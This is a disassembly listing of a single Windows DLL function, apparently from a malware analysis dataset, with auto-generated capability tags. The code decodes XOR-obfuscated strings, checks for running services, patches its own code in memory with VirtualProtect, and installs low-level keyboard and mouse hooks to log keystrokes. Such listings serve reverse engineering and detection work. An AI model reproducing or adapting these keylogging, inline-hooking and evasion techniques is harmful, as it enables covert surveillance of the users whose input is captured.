Function at 0x10001db0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get graphical window text
Log keystrokes via application hook
Power down monitor
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000636b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x198
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0xc], 1
jne 0x10002f81
mov dword [ebp - 0x90], 0x8eac0108
mov dword [ebp - 0x8c], 0x8be21c8e
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x90], 0x407eb5b2
mov dword [ebp - 0x8c], 0x40b0a550
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x94], ecx
xorps xmm1, xmmword [ebp - 0xa0]
push eax
movaps xmmword [ebp - 0xf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10001f41
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov edi, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop dword [eax]
push 2
push 0xf170
push 0x112
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x10001d40
push 0xd
call esi
push 0
push 0
push 0x10001d70
push 0xe
mov dword [0x100b93ac], eax
call esi
mov dword [0x100b93a8], eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push dword [0x100b93ac]
call edi
push dword [0x100b93a8]
call edi
jmp 0x10001ee0
mov dword [ebp - 0x90], 0xb49a3b10
mov dword [ebp - 0x8c], 0xa1fb3cab
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
movaps xmm1, xmmword [ebp - 0x100]
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x100]
mov dword [ebp - 0x94], ecx
xorps xmm1, xmmword [ebp - 0xa0]
push eax
movaps xmmword [ebp - 0x100], xmm1
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov dword [ebp - 0x98], 0xe6df3f0d
mov esi, eax
mov dword [ebp - 0x94], 0xe4b67de5
add esp, 4
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x98], 0x2c1a9bc2
mov dword [ebp - 0x94], 0x40b0a53c
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x98], 0xe6df6845
mov dword [ebp - 0x94], 0xe4b67de5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x2c1a9bc2
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x40b0a53c
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x110]
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0x1a4]
xorps xmm1, xmmword [ebp - 0xc0]
push eax
mov dword [ebp - 0x8c], esi
movaps xmmword [ebp - 0x110], xmm1
call fcn.100032d0
mov ecx, eax
mov dword [ebp - 0x94], ecx
mov edi, esi
mov dword [ebp - 4], 0
lea edx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x10002110
mov eax, dword [ecx + 0x14]
sub edi, edx
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp edi, eax
ja 0x10002154
cmp dword [ecx + 0x14], 0xf
lea eax, [edx + edi]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x10002135
mov eax, dword [ecx]
push edi
push dword [ebp - 0x8c]
lea esi, [eax + edx]
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x94]
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x10002162
push edi
push esi
push dword [ebp - 0x8c]
push edi
call fcn.10002fb0
mov dword [ebp - 0x78], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x74], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x88], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x78], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x190]
cmp ecx, 0xf
jbe 0x100021df
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100021d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100021d5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10005602
add esp, 8
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
push 0
cmova eax, dword [ebp - 0x88]
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
mov dword [ebp - 0x8c], eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
mov edi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10005615
add esp, 4
mov esi, eax
push edi
push esi
push 0xffffffffffffffff
push dword [ebp - 0x8c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x90], 0xe6b66808
mov dword [ebp - 0x8c], 0xe4de7d96
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x90], 0x2c7b9ba9
mov dword [ebp - 0x8c], 0x40c0a56f
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x90], 0xbf8eb868
mov dword [ebp - 0x8c], 0x4bd31e71
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x90], 0xbba8e916
mov dword [ebp - 0x8c], 0xb581ca0e
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0xbfe1b807
mov dword [ebp - 0x8c], 0x4bb61e17
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0xbba8e964
mov dword [ebp - 0x8c], 0xb581ca0e
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
movaps xmm1, xmmword [ebp - 0x180]
lea eax, [ebp - 0x180]
xorps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x38], eax
movaps xmmword [ebp - 0x180], xmm1
movaps xmm1, xmmword [ebp - 0x170]
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x170], xmm1
mov dword [ebp - 0x90], 0xe688680d
mov dword [ebp - 0x8c], 0xe4f27dac
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0x8c]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x120], xmm1
mov dword [ebp - 0x90], 0xe6ee6874
mov dword [ebp - 0x8c], 0xe4b67dd4
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0x8c]
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x130], xmm1
mov dword [ebp - 0x90], 0xe6ed6874
mov dword [ebp - 0x8c], 0xe4827dd6
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0x8c]
movaps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x140], xmm1
mov dword [ebp - 0x90], 0xe6ae682c
mov dword [ebp - 0x8c], 0xe4c17d93
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x90], 0x2c2e9bf4
mov dword [ebp - 0x8c], 0x40b0a559
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0x8c]
movaps xmm1, xmmword [ebp - 0x150]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x150], xmm1
mov dword [ebp - 0x28], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x10002f11
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 4
push dword [esi]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
jne 0x10002e9c
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esi, 4
lea eax, [ebp - 0x24]
cmp esi, eax
jne 0x10002724
push 0
mov byte [0x100b93f0], 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
mov byte [0x100b93f1], 0
push 0x100b9431
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [0x100096e0]
movaps xmm0, xmmword [0x10007230]
lea ecx, [eax*2 + 0x100096e8]
movups xmmword [0x10009660], xmm0
inc eax
mov dword [0x100096e4], ecx
movaps xmm0, xmmword [0x10007240]
movups xmmword [0x10009670], xmm0
push ecx
movaps xmm0, xmmword [0x10007250]
mov dword [0x100096e0], eax
mov word [ecx], 1
mov dword [0x10009658], 0
movups xmmword [0x10009680], xmm0
mov dword [0x1000965c], 7
mov dword [0x10009690], 0xcb1000
mov dword [0x10009694], 0x1560930
call fcn.100033e0
push ecx
call fcn.10003720
push ecx
call fcn.10003da0
push ecx
call fcn.10003f50
push ecx
call fcn.10003ab0
xor esi, esi
mov ecx, 1
mov edx, 0x100b93b4
xor eax, eax
lock cmpxchg dword [edx], ecx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x10002875
cmp esi, 0x20
jae 0x1000285c
push 0
jmp 0x1000285e
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x100b93b4
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x10002853
cmp dword [0x100b9538], 0
jne 0x1000288f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x100b9538], eax
xor eax, eax
mov ecx, 0x100b93b4
xchg dword [ecx], eax
push 1
call fcn.100055af
mov esi, dword [0x1000925c]
mov ecx, 0x100010c0
sub ecx, esi
mov dword [ebp - 0xe0], 0xd8964
sub ecx, 0xf
mov dword [ebp - 0xdc], 0x83000000
mov eax, ecx
mov byte [ebp - 0xd5], cl
sar eax, 8
add esp, 4
mov byte [ebp - 0xd4], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x24]
push eax
push 0x40
sar ecx, 0x18
push 0xf
push esi
mov word [ebp - 0xd8], 0x10c4
mov byte [ebp - 0xd6], 0xe9
mov dword [ebp - 0x8c], ecx
mov byte [ebp - 0xd2], cl
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movq xmm0, qword [ebp - 0xe0]
mov eax, dword [ebp - 0xd8]
movq qword [esi], xmm0
mov dword [esi + 8], eax
mov ax, word [ebp - 0xd4]
mov word [esi + 0xc], ax
mov eax, dword [ebp - 0x8c]
mov byte [esi + 0xe], al
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x24]
push 0xf
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [0x10009260]
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esi], 0x90909090
mov byte [esi + 4], 0x90
mov eax, dword [0x10009264]
mov dword [eax], 0x10009728
lea eax, [ebp - 0x44]
mov esi, dword [0x10009268]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esi], 0x90909090
mov byte [esi + 4], 0x90
mov eax, dword [0x1000926c]
mov dword [eax], 0x10009728
mov dword [ebp - 0x90], 0x82be0d17
mov dword [ebp - 0x8c], 0x81da14a3
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0x8c], 0x40b0a53c
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x70], xmm1
mov dword [ebp - 0x90], 0x88ad0d2e
mov dword [ebp - 0x8c], 0xd6851180
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x90], 0x4076ffec
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x90], 0xe6df6845
mov dword [ebp - 0x8c], 0xe4b67de5
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x90], 0x2c1a9bc2
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x8c], 0x40b0a53c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
movaps xmm1, xmmword [ebp - 0x160]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x160], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x70]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x8c], eax
mov dword [0x100b93b0], eax
test eax, eax
je 0x10002e59
xor esi, esi
mov ecx, 1
xor eax, eax
mov edx, 0x100b93b4
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x10002b78
cmp esi, 0x20
jae 0x10002b5f
push 0
jmp 0x10002b61
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x100b93b4
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x10002b56
cmp dword [0x100b9538], 0
je 0x10002df8
mov edx, dword [0x100b9568]
xor esi, esi
test edx, edx
je 0x10002df8
mov ecx, dword [0x100b9560]
mov eax, ecx
mov dword [ebp - 0x94], ecx
nop dword [eax]
nop word [eax + eax]
mov edi, dword [ebp - 0x8c]
cmp edi, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
je 0x10002bcd
inc esi
add eax, 0x2c
cmp esi, edx
jb 0x10002bb0
jmp 0x10002df8
cmp esi, 0xffffffff
je 0x10002df8
imul eax, esi, 0x2c
mov dword [ebp - 0x20], eax
test byte [eax + ecx + 0x14], 2
je 0x10002cd8
push 0
mov edx, esi
lea ecx, [ebp - 0x18c]
call fcn.100048f7
add esp, 4
test eax, eax
jne 0x10002df8
mov eax, dword [0x100b9560]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x8c], eax
mov ecx, dword [eax]
mov al, byte [eax + 0x14]
and al, 1
movzx eax, al
lea edx, [ecx - 5]
cmove edx, ecx
lea ecx, [ebp - 0xa4]
push ecx
lea eax, [eax*2 + 5]
mov dword [ebp - 0x18], edx
push 0x40
push eax
push edx
mov dword [ebp - 0x94], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10002c54
lea ecx, [ebp - 0x18c]
call fcn.10004968
jmp 0x10002df8
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x18]
mov eax, dword [ecx + 0xc]
test byte [ecx + 0x14], 1
mov dword [edx], eax
je 0x10002c78
mov ax, word [ecx + 0x10]
mov word [edx + 4], ax
mov al, byte [ecx + 0x12]
mov byte [edx + 6], al
jmp 0x10002c7e
mov al, byte [ecx + 0x10]
mov byte [edx + 4], al
lea eax, [ebp - 0xa4]
push eax
push dword [ebp - 0xa4]
push dword [ebp - 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x94]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [ebp - 0x8c]
lea ecx, [ebp - 0x18c]
and byte [eax + 0x14], 0xf9
call fcn.10004968
mov ecx, dword [0x100b9560]
mov edx, dword [0x100b9568]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x94], ecx
mov eax, dword [ecx + eax + 8]
mov dword [ebp - 0xa4], eax
mov edi, dword [ebp - 0xa4]
mov eax, dword [0x100b9550]
mov dword [ebp - 0x18], edi
and dword [ebp - 0x18], 0xfffff000
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x8c], 0
test eax, eax
je 0x10002d77
nop dword [eax + eax]
cmp eax, dword [ebp - 0x18]
je 0x10002d23
mov dword [ebp - 0x8c], eax
mov eax, dword [eax]
test eax, eax
jne 0x10002d10
jmp 0x10002d77
mov edi, dword [ebp - 0xa4]
mov ecx, dword [eax + 4]
mov dword [edi], ecx
mov ecx, edi
add dword [eax + 8], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [eax + 4], ecx
jne 0x10002d71
mov ecx, dword [ebp - 0x8c]
mov edx, dword [eax]
test ecx, ecx
je 0x10002d4f
mov dword [ecx], edx
jmp 0x10002d55
mov dword [0x100b9550], edx
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [0x100b9568]
mov ecx, dword [0x100b9560]
jmp 0x10002d77
mov ecx, dword [ebp - 0x94]
lea eax, [edx - 1]
mov dword [ebp - 0x8c], eax
cmp esi, eax
jae 0x10002dbd
imul eax, edx, 0x2c
mov edx, dword [ebp - 0x20]
movups xmm0, xmmword [eax + ecx - 0x2c]
movups xmmword [ecx + edx], xmm0
movups xmm0, xmmword [eax + ecx - 0x1c]
movups xmmword [ecx + edx + 0x10], xmm0
movq xmm0, qword [eax + ecx - 0xc]
movq qword [ecx + edx + 0x20], xmm0
mov eax, dword [eax + ecx - 4]
mov dword [ecx + edx + 0x28], eax
mov ecx, dword [0x100b9560]
mov eax, dword [ebp - 0x8c]
mov dword [0x100b9568], eax
mov eax, dword [0x100b9564]
shr eax, 1
cmp eax, 0x20
jb 0x10002df8
cmp eax, dword [ebp - 0x8c]
jb 0x10002df8
imul eax, eax, 0x2c
push eax
push ecx
push 0
push dword [0x100b9538]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x10002df8
shr dword [0x100b9564], 1
mov dword [0x100b9560], eax
xor eax, eax
mov ecx, 0x100b93b4
xchg dword [ecx], eax
push ecx
call fcn.10004b41
xor esi, esi
mov ecx, 1
xor eax, eax
mov edx, 0x100b93b4
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x10002e42
nop dword [eax]
cmp esi, 0x20
jae 0x10002e29
push 0
jmp 0x10002e2b
push 1
call edi
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x100b93b4
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x10002e20
cmp dword [0x100b9538], 0
je 0x10002e50
call fcn.10004a88
xor eax, eax
mov ecx, 0x100b93b4
xchg dword [ecx], eax
mov ecx, dword [ebp - 0x74]
cmp ecx, 0xf
jbe 0x10002e92
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002e88
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002e88
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10005602
add esp, 8
mov eax, 1
jmp 0x10002f83
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov edi, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop dword [eax + eax]
push 2
push 0xf170
push 0x112
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x10001d40
push 0xd
call esi
push 0
push 0
push 0x10001d70
push 0xe
mov dword [0x100b93ac], eax
call esi
mov dword [0x100b93a8], eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push dword [0x100b93ac]
call edi
push dword [0x100b93a8]
call edi
jmp 0x10002eb0
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov edi, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop dword [eax]
push 2
push 0xf170
push 0x112
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x10001d40
push 0xd
call esi
push 0
push 0
push 0x10001d70
push 0xe
mov dword [0x100b93ac], eax
call esi
mov dword [0x100b93a8], eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push dword [0x100b93ac]
call edi
push dword [0x100b93a8]
call edi
jmp 0x10002f20
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100055a1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0xc